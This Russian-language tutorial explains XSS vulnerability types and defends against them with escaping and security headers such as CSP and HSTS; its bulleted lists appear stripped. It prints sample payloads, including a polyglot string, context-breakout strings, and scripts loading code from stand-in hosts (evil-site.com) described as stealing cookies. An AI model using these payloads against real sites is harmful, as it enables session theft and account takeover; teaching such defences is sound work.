Подробный разбор отражённых, хранимых и DOM-уязвимостей.
Безопасность веб-приложений — это одна из важнейших задач, стоящих перед любыми разработчиками и владельцами сайтов. С ростом числа интерактивных веб-сервисов, социально-ориентированных платформ и других форм онлайн-взаимодействия возрастает и количество потенциальных уязвимостей. Одна из самых распространенных и при этом опасных проблем — это XSS-атаки (Cross-Site Scripting). Данная статья поможет вам разобраться в сущности XSS-атак, в их наиболее распространенных типах и в принципах эффективной защиты. Текст будет полезен и людям, которые впервые сталкиваются с данной темой, и профессионалам, желающим освежить свои знания или систематизировать их.
XSS (Cross-Site Scripting) — это уязвимость в веб-приложениях, которая позволяет злоумышленникам внедрять и исполнять произвольный скрипт (чаще всего JavaScript) в контексте сайта или веб-приложения, просматриваемого законопослушным пользователем. Суть проблемы в том, что такой вредоносный код обычно выполняется в браузере жертвы, получая доступ к элементам страницы, куки или токенам аутентификации. В результате злоумышленник может:
Важно понимать, что XSS — это не единичный сценарий атаки, а целый класс уязвимостей, который проявляется в различных формах и с разным набором угроз. Часто люди, впервые столкнувшиеся с этим термином, предполагают, что XSS связан только с подделкой форм или всплывающими окнами. Но на практике спектр применений куда шире.
Прежде чем перейти к конкретным видам XSS, необходимо отметить, что классификация здесь может меняться и уточняться в зависимости от источников. Однако чаще всего выделяют три ключевых типа:
Ниже мы рассмотрим каждый вид подробно и опишем, чем они отличаются, как их обнаруживать и что делать, чтобы защититься.
Reflected XSS — это тип атаки, при котором вредоносный скрипт «отражается» от веб-приложения, то есть злоумышленник формирует специальную ссылку или запрос, включающий в себя фрагмент кода, а сервер неосознанно «возвращает» этот код обратно в ответе. Когда пользователь переходит по такой ссылке (или открывает другую форму взаимодействия, например, e-mail со встроенным URL), браузер пользователя получает веб-страницу, внутри которой уже «сидит» опасный скрипт.
Представим классическую ситуацию: на сайте есть форма поиска, куда пользователь вводит строку, а сервер возвращает страницу с результатами поиска, в том числе цитируя введённую пользователем строку. Если этот сайт не фильтрует и не экранирует специальные символы, злоумышленник может отправить ссылку вида:
http://example.com/search?q=<script>alert('XSS')</script>
И если сервер просто подставляет q в ответ, не очищая и не экранируя её, то в браузере сработает alert, который легко заменяется на любой произвольный код. Таким образом, Reflected XSS часто реализуется через вредоносные URL, которые пользователь открывает по неосторожности.
Для обнаружения отражённой XSS есть несколько методов:
Защита от отражённой XSS включает в себя:
Stored XSS (хранимая) — более опасная разновидность уязвимости. При данном подходе вредоносный скрипт «сохраняется» непосредственно на сервере или в базе данных веб-приложения и может распространяться среди множества пользователей. Чаще всего это происходит в тех местах, где пользователи могут оставлять текст или другую информацию, которая затем отображается для других посетителей сайта. Например, в комментариях, на форумах или в личных сообщениях.
Представим, что есть платформа для блогов, где любой зарегистрированный пользователь может оставлять комментарии под статьями. Если это поле не фильтруется, злоумышленник может добавить вредоносный JavaScript-код прямо в текст комментария. Данный код сохранится в базе и будет выполняться во всех браузерах пользователей, которые прочитают этот комментарий.
Допустим, мы имеем сайт example-blog.com. Злоумышленник создаёт комментарий вида:
<script>alert("Этот скрипт запускается у всех читателей статьи!")</script>
Если механизм управления комментариями не выполняет экранирование тега <script>, то код будет сохранён в базе данных в исходном виде. И каждый, кто зайдёт на страницу с комментариями, «подхватит» этот скрипт. А уже вместо alert может быть запущен любой вредоносный код, например, кража куки-файлов или перенаправление на фишинговый ресурс.
Для борьбы с хранением вредоносного кода в базе или на сервере существуют несколько важных методов:
Третий основной тип атаки — DOM-based XSS. Он менее очевиден, так как в данном случае проблема может даже не требовать общения с сервером. Уязвимость возникает, когда внутри клиентского JavaScript-кода происходят манипуляции с document object model (DOM) напрямую, без должного экранирования и фильтрации.
Проще говоря, если в скрипте на стороне клиента используется значение из document.location, document.cookie или document.referrer для генерации части HTML, и это значение вставляется прямо «как есть» во внутренний код страницы, то злоумышленник может сформировать специально сконструированный URL, где определённые параметры будут содержать вредоносный скрипт. Браузер же, выполнив этот JavaScript-код, запустит и вредоносную вставку.
Представим, что в коде сайта есть следующий фрагмент:
<script> var content = window.location.hash.substring(1); // берем всё, что после # document.getElementById("display").innerHTML = "Вы ввели: " + content; </script>
Если пользователь переходит по ссылке вида:
http://example.com/page.html#<script>alert('DOM-XSS')</script>
То при загрузке страницы текст из window.location.hash попадает без экранирования в innerHTML. В результате на странице сработает alert('DOM-XSS').
Основная защита заключается в правильном обращении с динамическим контентом в клиентском JavaScript:
Помимо трех основных видов XSS (Reflected, Stored и DOM-based), существуют и другие подвиды и гибридные типы. Они представляют не меньшую опасность и требуют отдельного внимания:
Self-XSS — это особый тип атаки, при котором пользователь сам невольно становится соучастником:
Пример Self-XSS: Злоумышленник убеждает жертву открыть консоль браузера (F12) и вставить код:
var script = document.createElement('script'); script.src = 'https://evil-site.com/stealer.js'; document.body.appendChild(script);
Этот код может украсть куки пользователя и отправить их на сервер злоумышленника.
Mutated XSS (mXSS) — это сложный тип атаки, при котором:
Пример mXSS: HTML-код выглядит безопасным после первичной фильтрации:
<img src="1" onerror="alert(1)" style="display:none">
Но после повторной обработки, например, при редактировании в WYSIWYG-редакторе, код может мутировать и выполниться.
Blind XSS — это особый вид хранимой XSS, когда:
Пример Blind XSS: Атакующий внедряет в форму обратной связи следующий код:
<script src="https://xss-logger.evil-site.com/steal.js"></script>
Когда администратор открывает систему тикетов для просмотра обращения, скрипт выполняется в его контексте с повышенными привилегиями.
Polyglot XSS — это специальный тип атаки, где:
Пример Polyglot XSS:
javascript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e
Этот пример содержит различные методы внедрения кода, работающие в зависимости от контекста встраивания.
Contextual XSS — тип атаки, близкий к DOM-based XSS:
Пример Contextual XSS: Если пользовательский ввод попадает в атрибут тега (например, в значение href), атакующий может использовать:
javascript:alert('XSS')
Если же ввод попадает внутрь JavaScript-кода, могут использоваться другие техники, например:
');alert('XSS');//
Для защиты от этих специфических типов атак следует:
Многие начинающие разработчики предполагают, что экранирование на одном участке кода (например, на сервере) уже решает все проблемы, или что проверка «вообще-то мы не используем <script>» достаточно. Но реальность сложнее:
Поэтому лучшая практика — это комплексный подход: фильтрация/валидация на этапе ввода, экранирование на этапе вывода и дополнительные политики безопасности на сервере и в заголовках ответа.
Современные браузеры поддерживают различные заголовки HTTP, которые могут существенно повысить безопасность веб-приложений. Эти заголовки работают как дополнительный уровень защиты, блокируя многие типы атак даже при наличии уязвимостей в коде. Правильно настроенные заголовки безопасности — это простой, но эффективный способ защиты от XSS и других видов атак.
Content Security Policy (CSP) — это мощный механизм защиты, который позволяет определить белый список источников для загрузки скриптов, стилей, изображений и других ресурсов. С помощью CSP вы можете:
Пример CSP-заголовка:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; img-src 'self' https://img-server.com; style-src 'self' 'unsafe-inline'; report-uri /csp-report
Этот заголовок разрешает загрузку скриптов только с текущего домена и trusted-cdn.com, изображений с текущего домена и img-server.com, а стили могут быть как с текущего домена, так и встроенные. Все нарушения будут отправляться на эндпоинт /csp-report.
Заголовок X-XSS-Protection активирует встроенный в браузере механизм фильтрации XSS-атак. Хотя в современных браузерах он считается устаревшим и заменяется CSP, он всё ещё полезен для поддержки старых браузеров.
Пример X-XSS-Protection:
X-XSS-Protection: 1; mode=block
Значение "1; mode=block" включает защиту и блокирует рендеринг страницы при обнаружении XSS-атаки, а не просто пытается очистить страницу.
Заголовок X-Frame-Options защищает от атак типа "clickjacking", указывая браузеру, разрешено ли отображать страницу внутри <frame>, <iframe> или <object>.
X-Frame-Options: DENY
— страница не может быть отображена во фреймеX-Frame-Options: SAMEORIGIN
— страница может быть отображена во фрейме только на том же доменеX-Frame-Options: ALLOW-FROM https://example.com
— страница может быть отображена во фрейме только на указанном доменеHTTP Strict Transport Security (HSTS) указывает браузеру, что сайт должен быть доступен только через HTTPS, даже если пользователь пытается использовать HTTP. Это защищает от атак "man-in-the-middle" и прослушивания трафика.
Пример HSTS:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Этот заголовок указывает, что политика HSTS действует в течение года (31536000 секунд), распространяется на все поддомены и может быть включена в предзагруженный список HSTS браузеров.
Referrer-Policy контролирует, какая информация о реферере (источнике перехода) включается в заголовок Referer при переходе с вашего сайта на другие ресурсы.
Referrer-Policy: no-referrer
— заголовок Referer не отправляетсяReferrer-Policy: same-origin
— полный URL отправляется только для запросов в рамках того же источникаReferrer-Policy: strict-origin
— отправляет только домен для HTTPS→HTTPS и ничего для HTTPS→HTTPX-Content-Type-Options предотвращает MIME-снифинг браузером, когда браузер пытается "угадать" тип контента вместо использования объявленного Content-Type.
Пример:
X-Content-Type-Options: nosniff
Это предотвращает выполнение JavaScript в ресурсах, объявленных как не-JavaScript (например, изображения или CSS), что может использоваться в XSS-атаках.
Feature-Policy (переименованный в Permissions-Policy в новых версиях) позволяет явно разрешать или запрещать использование браузерных API и функций в вашем приложении и во встроенных фреймах.
Пример:
Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()
В этом примере доступ к камере и микрофону полностью запрещен, геолокация разрешена только для текущего источника, а API платежей запрещен.
Для обеспечения максимальной защиты рекомендуется использовать комбинацию этих заголовков. Вот общие рекомендации по их внедрению:
Важно: Неправильно настроенные заголовки безопасности могут нарушить функциональность сайта. Тестируйте изменения в среде разработки перед применением их на производстве.
Заголовки безопасности представляют собой мощный и относительно простой в реализации инструмент защиты веб-приложений. Они работают как дополнительный уровень защиты, блокируя многие виды атак даже при наличии уязвимостей в коде. Однако заголовки безопасности — это только часть комплексного подхода к безопасности.
Для максимальной защиты от XSS и других веб-уязвимостей необходимо сочетать правильно настроенные заголовки с валидацией ввода пользователя, экранированием выводимых данных, регулярным аудитом кода и использованием современных фреймворков, в которых механизмы защиты встроены по умолчанию.
Помните, что мир веб-безопасности постоянно эволюционирует. Регулярно обновляйте свои знания, следите за новыми типами атак и методами защиты, и не забывайте про тестирование безопасности вашего приложения с использованием как автоматизированных инструментов, так и ручного анализа кода.